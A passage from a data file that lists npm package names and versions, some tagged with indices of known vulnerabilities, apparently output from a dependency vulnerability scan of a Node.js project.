'version': '2.4.0', 'root': False}, {'name': 'load-json-file', 'version': '1.1.0', 'root': False}, {'name': 'lodash', 'version': '4.17.21', 'root': False}, {'name': 'lodash.once', 'version': '4.1.1', 'root': False}, {'name': 'log-driver', 'version': '1.2.5', 'root': False}, {'name': 'log-symbols', 'version': '2.2.0', 'root': False}, {'name': 'log-update', 'version': '1.0.2', 'root': False}, {'name': 'loud-rejection', 'version': '1.6.0', 'root': False}, {'name': 'lowercase-keys', 'version': '1.0.1', 'root': False}, {'name': 'lru-cache', 'version': '4.1.5', 'root': False}, {'name': 'make-dir', 'version': '1.3.0', 'root': False}, {'name': 'pify', 'version': '3.0.0', 'root': False}, {'name': 'make-iterator', 'version': '1.0.1', 'root': False}, {'name': 'map-obj', 'version': '1.0.1', 'root': False}, {'name': 'marked', 'version': '0.3.9', 'root': True, 'cves_index': [43, 44, 45]}, {'name': 'media-typer', 'version': '0.3.0', 'root': False}, {'name': 'meow', 'version': '3.7.0', 'root': False}, {'name': 'minimist', 'version': '1.2.5', 'root': False, 'cves_index': [46]}, {'name': 'nanomatch', 'version': '1.2.13', 'root': False}, {'name': 'object.pick', 'version': '1.3.0', 'root': False}, {'name': 'mime', 'version': '1.6.0', 'root': False}, {'name': 'mime-db', 'version': '1.51.0', 'root': False}, {'name': 'mocha', 'version': '2.5.3', 'root': True, 'cves_index': [48, 47]}, {'name': 'commander', 'version': '2.3.0', 'root': False}, {'name': 'escape-string-regexp', 'version': '1.0.2', 'root': False}, {'name': 'glob', 'version': '3.2.11', 'root': False}, {'name': 'lru-cache', 'version': '2.7.3', 'root': False}, {'name': 'minimatch', 'version': '0.3.0', 'root': False, 'cves_index': [57, 58, 59]}, {'name': 'supports-color', 'version': '1.2.0', 'root': False}, {'name': 'moment', 'version': '2.24.0', 'root': False, 'cves_index': [65, 66]}, {'name': 'mongodb', 'version': '2.2.36', 'root': True, 'cves_index': [143, 144, 55], 'vulnerable_dependencies': [123]}, {'name': 'mongodb-core', 'version': '2.1.20', 'root': False}, {'name': 'readable-stream', 'version': '2.2.7', 'root': False}, {'name': 'string_decoder', 'version': '1.0.3', 'root': False}, {'name': 'safe-buffer', 'version': '5.1.2', 'root': False}, {'name': 'util-deprecate', 'version': '1.0.2', 'root': False}, {'name': 'require_optional', 'version': '1.0.1', 'root': False}, {'name': 'mute-stream', 'version': '0.0.8', 'root': False}, {'name': 'secure-keys', 'version': '1.0.0', 'root': False}, {'name': 'yargs', 'version': '3.32.0', 'root': False}, {'name': 'needle', 'version': '2.2.4', 'root': True}, {'name': 'sax', 'version': '1.2.4', 'root': False}, {'name': 'nice-try', 'version': '1.0.5', 'root': False}, {'name': 'depd', 'version': '1.1.0', 'root': False}, {'name': 'node-esapi', 'version': '0.0.1', 'root': True}, {'name': 'nodemon', 'version': '1.19.4', 'root': True}, {'name': 'nodeunit', 'version': '0.9.5', 'root': False}, {'name': 'nopt', 'version': '3.0.6', 'root': False}, {'name': 'normalize-package-data', 'version': '2.5.0', 'root': False}, {'name': 'npm', 'version': '3.10.10', 'root': False, 'cves_index': [50, 51, 52, 53, 54]}, {'name': 'abbrev', 'version': '1.0.9', 'root': False}, {'name': 'ansi-regex', 'version': '2.0.0', 'root': False}, {'name': 'ansicolors', 'version': '0.3.2', 'root': False}, {'name': 'ansistyles', 'version': '0.1.3', 'root': False}, {'name': 'aproba', 'version': '1.0.4', 'root': False}, {'name': 'archy', 'version': '1.0.0', 'root': False}, {'name': 'asap', 'version': '2.0.5', 'root': False}, {'name': 'chownr', 'version': '1.0.1', 'root': False, 'cves_index': [63]}, {'name': 'cmd-shim', 'version': '2.0.2', 'root': False}, {'name': 'columnify', 'version': '1.5.4', 'root': False}, {'name': 'wcwidth', 'version': '1.0.0', 'root': False}, {'name': 'defaults', 'version': '1.0.3', 'root': False}, {'name': 'clone', 'version': '1.0.2', 'root': False}, {'name': 'config-chain', 'version': '1.1.11', 'root': False}, {'name': 'proto-list', 'version': '1.2.4', 'root': False}, {'name': 'editor', 'version': '1.0.0', 'root': False}, {'name': 'fs-vacuum', 'version': '1.2.9', 'root': False}, {'name': 'fs-write-stream-atomic', 'version': '1.0.8', 'root': False}, {'name': 'fstream', 'version': '1.0.10', 'root': False, 'cves_index': [64]}, {'name': 'fstream-npm', 'version': '1.2.0', 'root': False}, {'name': 'fstream-ignore', 'version': '1.0.5', 'root': False}, {'name': 'minimatch', 'version': '3.0.3', 'root': False, 'cves_index': [61, 62]}, {'name': 'brace-expansion', 'version': '1.1.6', 'root': False, 'cves_index': [60]}, {'name': 'balanced-match', 'version': '0.4.2', 'root': False}, {'name': 'glob', 'version': '7.1.0', 'root': False}, {'name': 'graceful-fs', 'version': '4.1.9', 'root': False}, {'name': 'has-unicode', 'version': '2.0.1', 'root': False}, {'name': 'hosted-git-info', 'version': '2.1.5', 'root': False, 'cves_index': [49]}, {'name': 'iferr', 'version': '0.1.5', 'root': False}, {'name': 'inflight', 'version': '1.0.5', 'root': False}, {'name': 'inherits', 'version': '2.0.3', 'root': False}, {'name': 'ini', 'version': '1.3.4', 'root': False, 'cves_index': [56]}, {'name': 'init-package-json', 'version': '1.9.4', 'root': False}, {'name': 'glob', 'version': '6.0.4', 'root': False}, {'name': 'path-is-absolute', 'version': '1.0.0', 'root': False}, {'name': 'promzard', 'version': '0.3.0', 'root': False}, {'name': 'lockfile', 'version': '1.0.2', 'root': False}, {'name': 'lodash._baseindexof', 'version': '3.1.0', 'root': False}, {'name': 'lodash._baseuniq', 'version': '4.6.0', 'root': False}, {'name': 'lodash._createset', 'version': '4.0.3', 'root': False}, {'name': 'lodash._root', 'version': '3.0.1', 'root': False}, {'name': 'lodash._bindcallback', 'version': '3.0.1', 'root': False}, {'name': 'lodash._cacheindexof', 'version': '3.0.2', 'root': False}, {'name': 'lodash._createcache', 'version': '3.1.2', 'root': False}, {'name': 'lodash._getnative', 'version': '3.9.1', 'root': False}, {'name': 'lodash.clonedeep', 'version': '4.5.0', 'root': False}, {'name': 'lodash.restparam', 'version': '3.6.1', 'root': False}, {'name': 'lodash.union', 'version': '4.6.0', 'root': False}, {'name': 'lodash.uniq', 'version': '4.5.0', 'root': False}, {'name': 'lodash.without', 'version': '4.4.0', 'root': False}, {'name': 'node-gyp', 'version': '3.4.0', 'root': False}, {'name': 'npmlog', 'version': '3.1.2', 'root': False}, {'name': 'are-we-there-yet', 'version': '1.1.2', 'root': False}, {'name': 'delegates', 'version': '1.0.0', 'root': False}, {'name': 'console-control-strings', 'version': '1.1.0', 'root': False}, {'name': 'gauge', 'version': '2.6.0', 'root': False}, {'name': 'has-color', 'version': '0.1.7', 'root': False}, {'name': 'object-assign', 'version': '4.1.0', 'root': False}, {'name': 'signal-exit', 'version': '3.0.0', 'root': False}, {'name': 'code-point-at', 'version': '1.0.0', 'root': False}, {'name': 'number-is-nan', 'version': '1.0.0', 'root': False}, {'name': 'wide-align', 'version': '1.1.0', 'root': False}, {'name': 'set-blocking', 'version': '2.0.0', 'root': False}, {'name': 'path-array', 'version': '1.0.1', 'root': False}, {'name': 'array-index', 'version': '1.0.0', 'root': False}, {'name': 'es6-symbol', 'version': '3.1.0', 'root': False}, {'name': 'd', 'version': '0.1.1', 'root': False}, {'name': 'es5-ext', 'version': '0.10.12', 'root': False}, {'name': 'es6-iterator', 'version': '2.0.0', 'root': False}, {'name': 'normalize-git-url', 'version': '3.0.2', 'root': False}, {'name': 'normalize-package-data', 'version': '2.3.5', 'root': False}, {'name': 'is-builtin-module', 'version': '1.0.0', 'root': False}, {'name': 'builtin-modules', 'version': '1.1.1', 'root': False}, {'name': 'npm-cache-filename', 'version': '1.0.2', 'root': False}, {'name': 'npm-install-checks', 'version': '3.0.0', 'root': False}, {'name': 'npm-package-arg', 'version': '4.2.0', 'root': False}, {'name': 'npm-registry-client', 'version': '7.2.1', 'root': False}, {'name': 'concat-stream', 'version': '1.5.2', 'root': False}, {'name': 'typedarray', 'version': '0.0.6', 'root': False}, {'name': 'retry', 'version': '0.10.0', 'root': False}, {'name': 'npm-user-validate', 'version': '0.1.5', 'root': False, 'cves_index': [74, 75]}, {'name': 'npmlog', 'version': '4.0.0', 'root': False}, {'name': 'opener', 'version': '1.4.2', 'root': False}, {'name': 'osenv', 'version': '0.1.3', 'root': False}, {'name': 'os-homedir', 'version': '1.0.1', 'root': False}, {'name': 'os-tmpdir', 'version': '1.0.1', 'root': False}, {'name': 'path-is-inside', 'version': '1.0.2', 'root': False}, {'name': 'read', 'version': '1.0.7', 'root': False}, {'name': 'mute-stream', 'version': '0.0.5', 'root': False}, {'name': 'read-cmd-shim', 'version': '1.0.1', 'root': False}, {'name': 'read-installed', 'version': '4.0.3', 'root': False}, {'name': 'util-extend', 'version': '1.0.3', 'root': False}, {'name': 'read-package-json', 'version': '2.0.4', 'root': False}, {'name': 'json-parse-helpfulerror', 'version': '1.0.3', 'root': False}, {'name': 'jju', 'version': '1.3.0', 'root': False}, {'name': 'read-package-tree', 'version': '5.1.5', 'root': False}, {'name': 'readable-stream', 'version': '2.1.5', 'root': False}, {'name': 'readdir-scoped-modules', 'version': '1.0.2', 'root': False}, {'name': 'realize-package-specifier', 'version': '3.0.3', 'root': False}, {'name': 'request', 'version': '2.75.0', 'root': False}, {'name': 'aws4', 'version': '1.4.1', 'root': False}, {'name': 'bl', 'version': '1.1.2', 'root': False, 'cves_index': [72]}, {'name': 'combined-stream', 'version': '1.0.5', 'root': False}, {'name': 'extend', 'version': '3.0.0', 'root': False, 'cves_index': [88]}, {'name': 'form-data', 'version': '2.0.0', 'root': False}, {'name': 'commander', 'version': '2.9.0', 'root': False}, {'name': 'graceful-readlink', 'version': '1.0.1', 'root': False}, {'name': 'is-my-json-valid', 'version': '2.15.0', 'root': False, 'cves_index': [70, 71]}, {'name': 'generate-function', 'version': '2.0.0', 'root': False}, {'name': 'jsonpointer', 'version': '4.0.0', 'root': False, 'cves_index': [86]}, {'name': 'xtend', 'version': '4.0.1', 'root': False}, {'name': 'pinkie-promise', 'version': '2.0.1', 'root': False}, {'name': 'pinkie', 'version': '2.0.4', 'root': False}, {'name': 'sntp', 'version': '1.0.9', 'root': False}, {'name': 'jsprim', 'version': '1.3.1', 'root': False}, {'name': 'extsprintf', 'version': '1.0.2', 'root': False}, {'name': 'json-schema', 'version': '0.2.3', 'root': False, 'cves_index': [85]}, {'name': 'verror', 'version': '1.3.6', 'root': False}, {'name': 'sshpk', 'version': '1.10.1', 'root': False}, {'name': 'asn1', 'version': '0.2.3', 'root': False}, {'name': 'bcrypt-pbkdf', 'version': '1.0.0', 'root': False}, {'name': 'dashdash', 'version': '1.14.0', 'root': False}, {'name': 'ecc-jsbn', 'version': '0.1.1', 'root': False}, {'name': 'getpass', 'version': '0.1.6', 'root': False}, {'name': 'jodid25519', 'version': '1.0.2', 'root': False}, {'name': 'jsbn', 'version': '0.1.0', 'root': False}, {'name': 'tweetnacl', 'version': '0.14.3', 'root': False}, {'name': 'mime-types', 'version': '2.1.12', 'root': False}, {'name': 'mime-db', 'version': '1.24.0', 'root': False}, {'name': 'node-uuid', 'version': '1.4.7', 'root': False}, {'name': 'qs', 'version': '6.2.1', 'root': False, 'cves_index': [67, 68, 69]}, {'name': 'stringstream', 'version': '0.0.5', 'root': False, 'cves_index': [73]}, {'name': 'tough-cookie', 'version': '2.3.1', 'root': False, 'cves_index': [87]}, {'name': 'rimraf', 'version': '2.5.4', 'root': False}, {'name': 'semver', 'version': '5.3.0', 'root': False}, {'name': 'sha', 'version': '2.0.1', 'root': False}, {'name': 'slide', 'version': '1.1.6', 'root': False}, {'name': 'sorted-object', 'version': '2.0.1', 'root': False}, {'name': 'tar', 'version': '2.2.1', 'root': False, 'cves_index': [78, 79, 80, 81, 82, 83, 84]}, {'name': 'block-stream', 'version': '0.0.8', 'root': False}, {'name': 'text-table', 'version': '0.2.0', 'root': False}, {'name': 'uid-number', 'version': '0.0.6', 'root': False}, {'name': 'umask', 'version': '1.1.0', 'root': False}, {'name': 'unique-filename', 'version': '1.1.0', 'root': False}, {'name': 'unique-slug', 'version': '2.0.0', 'root': False}, {'name': 'validate-npm-package-license', 'version': '3.0.1', 'root': False}, {'name': 'spdx-correct', 'version': '1.0.2', 'root': False}, {'name': 'spdx-license-ids', 'version': '1.2.0', 'root': False}, {'name': 'spdx-expression-parse', 'version': '1.0.2', 'root': False}, {'name': 'spdx-exceptions', 'version': '1.0.4', 'root': False}, {'name': 'validate-npm-package-name', 'version': '2.2.2', 'root': False}, {'name': 'builtins', 'version': '0.0.7', 'root': False}, {'name': 'which', 'version': '1.2.11', 'root': False}, {'name': 'isexe', 'version': '1.1.2', 'root': False}, {'name': 'write-file-atomic', 'version': '1.2.0', 'root': False}, {'name': 'npm-normalize-package-bin', 'version': '1.0.1', 'root': False}, {'name': 'npm-run-path', 'version': '2.0.2', 'root': False}, {'name': 'nyc', 'version': '7.1.0', 'root': False}, {'name': 'align-text', 'version': '0.1.4', 'root': False}, {'name': 'amdefine', 'version': '1.0.0', 'root': False}, {'name': 'append-transform', 'version': '0.3.0', 'root': False}, {'name': 'arr-diff', 'version': '2.0.0', 'root': False}, {'name': 'arr-flatten', 'version': '1.0.1', 'root': False}, {'name': 'array-unique', 'version': '0.2.1', 'root': False}, {'name': 'babel-code-frame', 'version': '6.11.0', 'root': False}, {'name': 'babel-generator', 'version': '6.11.4', 'root': False}, {'name': 'babel-messages', 'version': '6.8.0', 'root': False}, {'name': 'babel-runtime', 'version': '6.9.2', 'root': False}, {'name': 'babel-template', 'version': '6.9.0', 'root': False}, {'name': 'babel-traverse', 'version': '6.11.4', 'root': False}, {'name': 'babel-types', 'version': '6.11.1', 'root': False}, {'name': 'babylon', 'version': '6.8.4', 'root': False}, {'name': 'braces', 'version': '1.8.5', 'root': False, 'cves_index': [76, 77]}, {'name': 'caching-transform', 'version': '1.0.1', 'root': False}, {'name': 'camelcase', 'version': '1.2.1', 'root': False}, {'name': 'center-align', 'version': '0.1.3', 'root': False}, {'name': 'cliui', 'version': '2.1.0', 'root': False}, {'name': 'wordwrap', 'version': '0.0.2', 'root': False}, {'name': 'commondir', 'version': '1.0.1', 'root': False}, {'name': 'convert-source-map', 'version': '1.3.0', 'root': False}, {'name': 'core-js', 'version': '2.4.1', 'root': False}, {'name': 'cross-spawn', 'version': '4.0.0', 'root': False}, {'name': 'default-require-extensions', 'version': '1.0.0', 'root': False}, {'name': 'detect-indent', 'version': '3.0.1', 'root': False}, {'name': 'error-ex', 'version': '1.3.0', 'root': False}, {'name': 'esutils', 'version': '2.0.2', 'root': False}, {'name': 'expand-brackets', 'version': '0.1.5', 'root': False}, {'name': 'expand-range', 'version': '1.8.2', 'root': False}, {'name': 'extglob', 'version': '0.3.2', 'root': False}, {'name': 'filename-regex', 'version': '2.0.0', 'root': False}, {'name': 'fill-range', 'version': '2.2.3', 'root': False}, {'name': 'find-cache-dir', 'version': '0.1.1', 'root': False}, {'name': 'for-in', 'version': '0.1.5', 'root': False}, {'name': 'for-own', 'version': '0.1.4', 'root': False}, {'name': 'foreground-child', 'version': '1.5.3', 'root': False}, {'name': 'get-caller-file', 'version': '1.0.1', 'root': False}, {'name': 'glob', 'version': '7.0.5', 'root': False}, {'name': 'glob-base', 'version': '0.3.0', 'root': False}, {'name': 'glob-parent', 'version': '2.0.0', 'root': False, 'cves_index': [112]}, {'name': 'globals', 'version': '8.18.0', 'root': False}, {'name': 'graceful-fs', 'version': '4.1.4', 'root': False}, {'name': 'handlebars', 'version': '4.0.5', 'root': False, 'cves_index': [96, 97, 98, 99, 100, 101, 92, 93, 94, 95]}, {'name': 'source-map', 'version': '0.4.4', 'root': False}, {'name': 'has-flag', 'version': '1.0.0', 'root': False}, {'name': 'inherits', 'version': '2.0.1', 'root': False}, {'name': 'invariant', 'version': '2.2.1', 'root': False}, {'name': 'is-buffer', 'version': '1.1.3', 'root': False}, {'name': 'is-dotfile', 'version': '1.0.2', 'root': False}, {'name': 'is-equal-shallow', 'version': '0.1.3', 'root': False}, {'name': 'is-extglob', 'version': '1.0.0', 'root': False}, {'name': 'is-finite', 'version': '1.0.1', 'root': False}, {'name': 'is-glob', 'version': '2.0.1', 'root': False}, {'name': 'is-number', 'version': '2.1.0', 'root': False}, {'name': 'is-posix-bracket', 'version': '0.1.1', 'root': False}, {'name': 'is-primitive', 'version': '2.0.0', 'root': False}, {'name': 'isobject', 'version': '2.1.0', 'root': False}, {'name': 'istanbul-lib-coverage', 'version': '1.0.0-alpha.4', 'root': False}, {'name': 'istanbul-lib-hook', 'version': '1.0.0-alpha.4', 'root': False}, {'name': 'istanbul-lib-instrument', 'version': '1.1.0-alpha.4', 'root': False}, {'name': 'istanbul-lib-report', 'version': '1.0.0-alpha.3', 'root': False}, {'name': 'supports-color', 'version': '3.1.2', 'root': False}, {'name': 'istanbul-lib-source-maps', 'version': '1.0.0-alpha.10', 'root': False}, {'name': 'istanbul-reports', 'version': '1.0.0-alpha.8', 'root': False, 'cves_index': [90]}, {'name': 'js-tokens', 'version': '2.0.0', 'root': False}, {'name': 'kind-of', 'version': '3.0.3', 'root': False}, {'name': 'lazy-cache', 'version': '1.0.4', 'root': False}, {'name': 'lodash', 'version': '4.13.1', 'root': False, 'cves_index': [103, 104, 105, 106, 107, 108, 109]}, {'name': 'lodash.assign', 'version': '4.0.9', 'root': False}, {'name': 'lodash.keys', 'version': '4.0.7', 'root': False}, {'name': 'lodash.rest', 'version': '4.0.3', 'root': False}, {'name': 'longest', 'version': '1.0.1', 'root': False}, {'name': 'loose-envify', 'version': '1.2.0', 'root': False}, {'name': 'js-tokens', 'version': '1.0.3', 'root': False}, {'name': 'lru-cache', 'version': '4.0.1', 'root': False}, {'name': 'md5-hex', 'version': '1.3.0', 'root': False}, {'name': 'md5-o-matic', 'version': '0.1.1', 'root': False}, {'name': 'micromatch', 'version': '2.3.11', 'root': False}, {'name': 'minimatch', 'version': '3.0.2', 'root': False, 'cves_index': [110, 111]}, {'name': 'normalize-path', 'version': '2.0.1', 'root': False}, {'name': 'object.omit', 'version': '2.0.0', 'root': False}, {'name': 'once', 'version': '1.3.3', 'root': False}, {'name': 'os-locale', 'version': '1.4.0', 'root': False}, {'name': 'parse-glob', 'version': '3.0.4', 'root': False}, {'name': 'parse-json', 'version': '2.2.0', 'root': False}, {'name': 'path-exists', 'version': '2.1.0', 'root': False}, {'name': 'path-parse', 'version': '1.0.5', 'root': False, 'cves_index': [102]}, {'name': 'path-type', 'version': '1.1.0', 'root': False}, {'name': 'pify', 'version': '2.3.0', 'root': False}, {'name': 'pkg-dir', 'version': '1.0.0', 'root': False}, {'name': 'pkg-up', 'version': '1.0.0', 'root': False}, {'name': 'preserve', 'version': '0.2.0', 'root': False}, {'name': 'pseudomap', 'version': '1.0.2', 'root': False}, {'name': 'randomatic', 'version': '1.1.5', 'root': False, 'cves_index': [91]}, {'name': 'read-pkg', 'version': '1.1.0', 'root': False}, {'name': 'read-pkg-up', 'version': '1.0.1', 'root': False}, {'name': 'regenerator-runtime', 'version': '0.9.5', 'root': False}, {'name': 'regex-cache', 'version': '0.4.3', 'root': False}, {'name': 'repeat-element', 'version': '1.1.2', 'root': False}, {'name': 'repeat-string', 'version': '1.5.4', 'root': False}, {'name': 'repeating', 'version': '1.1.3', 'root': False}, {'name': 'require-directory', 'version': '2.1.1', 'root': False}, {'name': 'require-main-filename', 'version': '1.0.1', 'root': False}, {'name': 'resolve-from', 'version': '2.0.0', 'root': False}, {'name': 'right-align', 'version': '0.1.3', 'root': False}, {'name': 'source-map', 'version': '0.5.6', 'root': False}, {'name': 'spawn-wrap', 'version': '1.2.4', 'root': False}, {'name': 'signal-exit', 'version': '2.1.2', 'root': False}, {'name': 'spdx-exceptions', 'version': '1.0.5', 'root': False}, {'name': 'spdx-license-ids', 'version': '1.2.1', 'root': False}, {'name': 'string-width', 'version': '1.0.1', 'root': False}, {'name': 'strip-bom', 'version': '2.0.0', 'root': False}, {'name': 'test-exclude', 'version': '1.1.0', 'root': False}, {'name': 'to-fast-properties', 'version': '1.0.2', 'root': False}, {'name': 'uglify-js', 'version': '2.7.0', 'root': False, 'cves_index': [89]}, {'name': 'yargs', 'version': '3.10.0', 'root': False}, {'name': 'uglify-to-browserify', 'version': '1.0.2', 'root': False}, {'name': 'which', 'version': '1.2.10', 'root': False}, {'name': 'which-module', 'version': '1.0.0', 'root': False}, {'name': 'window-size', 'version': '0.1.0', 'root': False}, {'name': 'wrap-ansi', 'version': '2.0.0', 'root': False}, {'name': 'write-file-atomic', 'version': '1.1.4', 'root': False}, {'name': 'y18n', 'version': '3.2.1', 'root': False, 'cves_index': [117]}, {'name': 'yallist', 'version': '2.0.0', 'root': False}, {'name': 'yargs', 'version': '4.8.1', 'root': False}, {'name': 'window-size', 'version': '0.2.0', 'root': False}, {'name': 'yargs-parser', 'version': '2.4.1', 'root': False, 'cves_index': [114]}, {'name': 'camelcase', 'version': '3.0.0', 'root': False}, {'name': 'oauth-sign', 'version': '0.9.0', 'root': False}, {'name': 'object-copy', 'version': '0.1.0', 'root': False}, {'name': 'object.defaults', 'version': '1.1.0', 'root': False}, {'name': 'object.map', 'version': '1.0.1', 'root': False}, {'name': 'onetime', 'version': '1.1.0', 'root': False}, {'name': 'only-shallow', 'version': '1.2.0', 'root': False}, {'name': 'opener', 'version': '1.5.2', 'root': False}, {'name': 'options', 'version': '0.0.6', 'root': False}, {'name': 'ora', 'version': '0.2.3', 'root': False}, {'name': 'os-homedir', 'version': '1.0.2', 'root': False}, {'name': 'os-tmpdir', 'version': '1.0.2', 'root': False}, {'name': 'osenv', 'version': '0.1.5', 'root': False}, {'name': 'p-finally', 'version': '1.0.0', 'root': False}, {'name': 'p-map', 'version': '1.2.0', 'root': False}, {'name': 'package-json', 'version': '4.0.1', 'root': False}, {'name': 'pad-stream', 'version': '1.2.0', 'root': False}, {'name': 'parse-filepath', 'version': '1.0.2', 'root': False}, {'name': 'parse-passwd', 'version': '1.0.0', 'root': False}, {'name': 'path-key', 'version': '3.1.1', 'root': False}, {'name': 'path-parse', 'version': '1.0.7', 'root': False}, {'name': 'path-root', 'version': '0.1.1', 'root': False}, {'name': 'path-root-regex', 'version': '0.1.2', 'root': False}, {'name': 'pend', 'version': '1.2.0', 'root': False}, {'name': 'performance-now', 'version': '2.1.0', 'root': False}, {'name': 'picomatch', 'version': '2.3.1', 'root': False}, {'name': 'prepend-http', 'version': '1.0.4', 'root': False}, {'name': 'colors', 'version': '1.4.0', 'root': False}, {'name': 'process-nextick-args', 'version': '2.0.1', 'root': False}, {'name': 'revalidator', 'version': '0.1.8', 'root': False}, {'name': 'psl', 'version': '1.8.0', 'root': False}, {'name': 'pstree.remy', 'version': '1.1.8', 'root': False}, {'name': 'pump', 'version': '2.0.1', 'root': False}, {'name': 'pumpify', 'version': '1.5.1', 'root': False}, {'name': 'punycode', 'version': '2.1.1', 'root': False}, {'name': 'q', 'version': '1.5.1', 'root': False}, {'name': 'querystring', 'version': '0.2.0', 'root': False}, {'name': 'ramda', 'version': '0.24.1', 'root': False, 'cves_index': [113]}, {'name': 'random-bytes', 'version': '1.0.0', 'root': False}, {'name': 'rc', 'version': '1.2.8', 'root': False}, {'name': 'strip-json-comments', 'version': '2.0.1', 'root': False}, {'name': 'read-package-json', 'version': '2.1.2', 'root': False}, {'name': 'readable-stream', 'version': '2.3.7', 'root': False}, {'name': 'string_decoder', 'version': '1.1.1', 'root': False}, {'name': 'readdir-scoped-modules', 'version': '1.1.0', 'root': False}, {'name': 'rechoir', 'version': '0.7.1', 'root': False}, {'name': 'redent', 'version': '1.0.0', 'root': False}, {'name': 'safe-regex', 'version': '1.1.0', 'root': False}, {'name': 'registry-auth-token', 'version': '3.4.0', 'root': False}, {'name': 'registry-url', 'version': '3.1.0', 'root': False}, {'name': 'repeating', 'version': '2.0.1', 'root': False}, {'name': 'request', 'version': '2.88.0', 'root': False}, {'name': 'qs', 'version': '6.5.3', 'root': False}, {'name': 'request-progress', 'version': '3.0.0', 'root': False}, {'name': 'semver', 'version': '5.7.1', 'root': False}, {'name': 'resolve', 'version': '1.22.0', 'root': False}, {'name': 'resolve-dir', 'version': '1.0.1', 'root': False}, {'name': 'resolve-url', 'version': '0.2.1', 'root': False}, {'name': 'restore-cursor', 'version': '1.0.1', 'root': False}, {'name': 'resumer', 'version': '0.0.0', 'root': False}, {'name': 'through', 'version': '2.3.8', 'root': False}, {'name': 'ret', 'version': '0.1.15', 'root': False}, {'name': 'retire', 'version': '1.1.6', 'root': False}, {'name': 'commander', 'version': '2.5.1', 'root': False}, {'name': 'underscore', 'version': '1.8.3', 'root': False}, {'name': 'rxjs', 'version': '5.5.12', 'root': False}, {'name': 'safe-json-parse', 'version': '1.0.1', 'root': False}, {'name': 'selenium-webdriver', 'version': '2.53.3', 'root': True}, {'name': 'tmp', 'version': '0.0.24', 'root': False}, {'name': 'semver-diff', 'version': '2.1.0', 'root': False}, {'name': 'serve-favicon', 'version': '2.5.0', 'root': True}, {'name': 'ms', 'version': '2.1.1', 'root': False}, {'name': 'safe-buffer', 'version': '5.1.1', 'root': False}, {'name': 'shebang-command', 'version': '2.0.0', 'root': False}, {'name': 'shebang-regex', 'version': '3.0.0', 'root': False}, {'name': 'shelljs', 'version': '0.3.0', 'root': False, 'cves_index': [115, 116]}, {'name': 'should', 'version': '8.4.0', 'root': True}, {'name': 'should-equal', 'version': '0.8.0', 'root': False}, {'name': 'should-format', 'version': '0.3.2', 'root': False}, {'name': 'should-type', 'version': '0.2.0', 'root': False}, {'name': 'strip-json-comments', 'version': '0.1.3', 'root': False}, {'name': 'sigmund', 'version': '1.0.1', 'root': False}, {'name': 'signal-exit', 'version': '3.0.7', 'root': False}, {'name': 'slice-ansi', 'version': '0.0.4', 'root': False}, {'name': 'source-map', 'version': '0.5.7', 'root': False}, {'name': 'source-map-resolve', 'version': '0.5.3', 'root': False}, {'name': 'use', 'version': '3.1.1', 'root': False}, {'name': 'snapdragon-util', 'version': '3.0.1', 'root': False}, {'name': 'source-map-url', 'version': '0.4.1', 'root': False}, {'name': 'urix', 'version': '0.1.0', 'root': False}, {'name': 'spdx-correct', 'version': '3.1.1', 'root': False}, {'name': 'spdx-exceptions', 'version': '2.3.0', 'root': False}, {'name': 'spdx-expression-parse', 'version': '3.0.1', 'root': False}, {'name': 'spdx-license-ids', 'version': '3.0.11', 'root': False}, {'name': 'split2', 'version': '1.1.1', 'root': False}, {'name': 'sprintf-js', 'version': '1.1.2', 'root': False}, {'name': 'sshpk', 'version': '1.17.0', 'root': False}, {'name': 'stack-utils', 'version': '0.4.0', 'root': False}, {'name': 'stream-shift', 'version': '1.0.1', 'root': False}, {'name': 'stream-to-observable', 'version': '0.1.0', 'root': False}, {'name': 'string-template', 'version': '0.2.1', 'root': False}, {'name': 'stringstream', 'version': '0.0.6', 'root': False}, {'name': 'strip-eof', 'version': '1.0.0', 'root': False}, {'name': 'strip-indent', 'version': '1.0.1', 'root': False}, {'name': 'supports-color', 'version': '5.5.0', 'root': False}, {'name': 'supports-preserve-symlinks-flag', 'version': '1.0.0', 'root': False}, {'name': 'swig', 'version': '1.4.2', 'root': True, 'vulnerable_dependencies': [113, 1017]}, {'name': 'uglify-js', 'version': '2.4.24', 'root': False, 'cves_index': [140, 141]}, {'name': 'symbol-observable', 'version': '1.0.1', 'root': False}, {'name': 'tap', 'version': '7.1.2', 'root': False}, {'name': 'tap-mocha-reporter', 'version': '2.0.1', 'root': False, 'cves_index': [120, 119]}, {'name': 'tap-parser', 'version': '2.2.3', 'root': False}, {'name': 'deep-equal', 'version': '0.1.2', 'root': False}, {'name': 'term-size', 'version': '1.2.0', 'root': False}, {'name': 'cross-spawn', 'version': '5.1.0', 'root': False}, {'name': 'execa', 'version': '0.7.0', 'root': False}, {'name': 'throttleit', 'version': '1.0.0', 'root': False}, {'name': 'through2', 'version': '2.0.5', 'root': False}, {'name': 'timed-out', 'version': '4.0.1', 'root': False}, {'name': 'tiny-lr', 'version': '1.1.1', 'root': False}, {'name': 'tmatch', 'version': '2.0.1', 'root': False}, {'name': 'tmp', 'version': '0.1.0', 'root': False}, {'name': 'to-iso-string', 'version': '0.0.2', 'root': False}, {'name': 'touch', 'version': '3.1.0', 'root': False}, {'name': 'nopt', 'version': '1.0.10', 'root': False}, {'name': 'tough-cookie', 'version': '2.4.3', 'root': False}, {'name': 'trim-newlines', 'version': '1.0.0', 'root': False, 'cves_index': [139]}, {'name': 'tunnel-agent', 'version': '0.6.0', 'root': False}, {'name': 'tweetnacl', 'version': '0.14.5', 'root': False}, {'name': 'source-map', 'version': '0.1.34', 'root': False}, {'name': 'yargs', 'version': '3.5.4', 'root': False}, {'name': 'ultron', 'version': '1.0.2', 'root': False}, {'name': 'unc-path-regex', 'version': '0.1.2', 'root': False}, {'name': 'undefsafe', 'version': '2.0.5', 'root': False}, {'name': 'underscore', 'version': '1.13.2', 'root': True}, {'name': 'underscore.string', 'version': '3.3.6', 'root': False}, {'name': 'unicode-length', 'version': '1.0.3', 'root': False}, {'name': 'unique-string', 'version': '1.0.0', 'root': False}, {'name': 'universalify', 'version': '0.1.2', 'root': False}, {'name': 'has-value', 'version': '0.3.1', 'root': False}, {'name': 'has-values', 'version': '0.1.4', 'root': False}, {'name': 'untildify', 'version': '3.0.3', 'root': False}, {'name': 'unzip-response', 'version': '2.0.1', 'root': False}, {'name': 'update-notifier', 'version': '2.5.0', 'root': False}, {'name': 'uri-js', 'version': '4.4.1', 'root': False}, {'name': 'url', 'version': '0.11.0', 'root': False}, {'name': 'punycode', 'version': '1.3.2', 'root': False}, {'name': 'url-parse-lax', 'version': '1.0.0', 'root': False}, {'name': 'async', 'version': '0.9.2', 'root': False}, {'name': 'deep-equal', 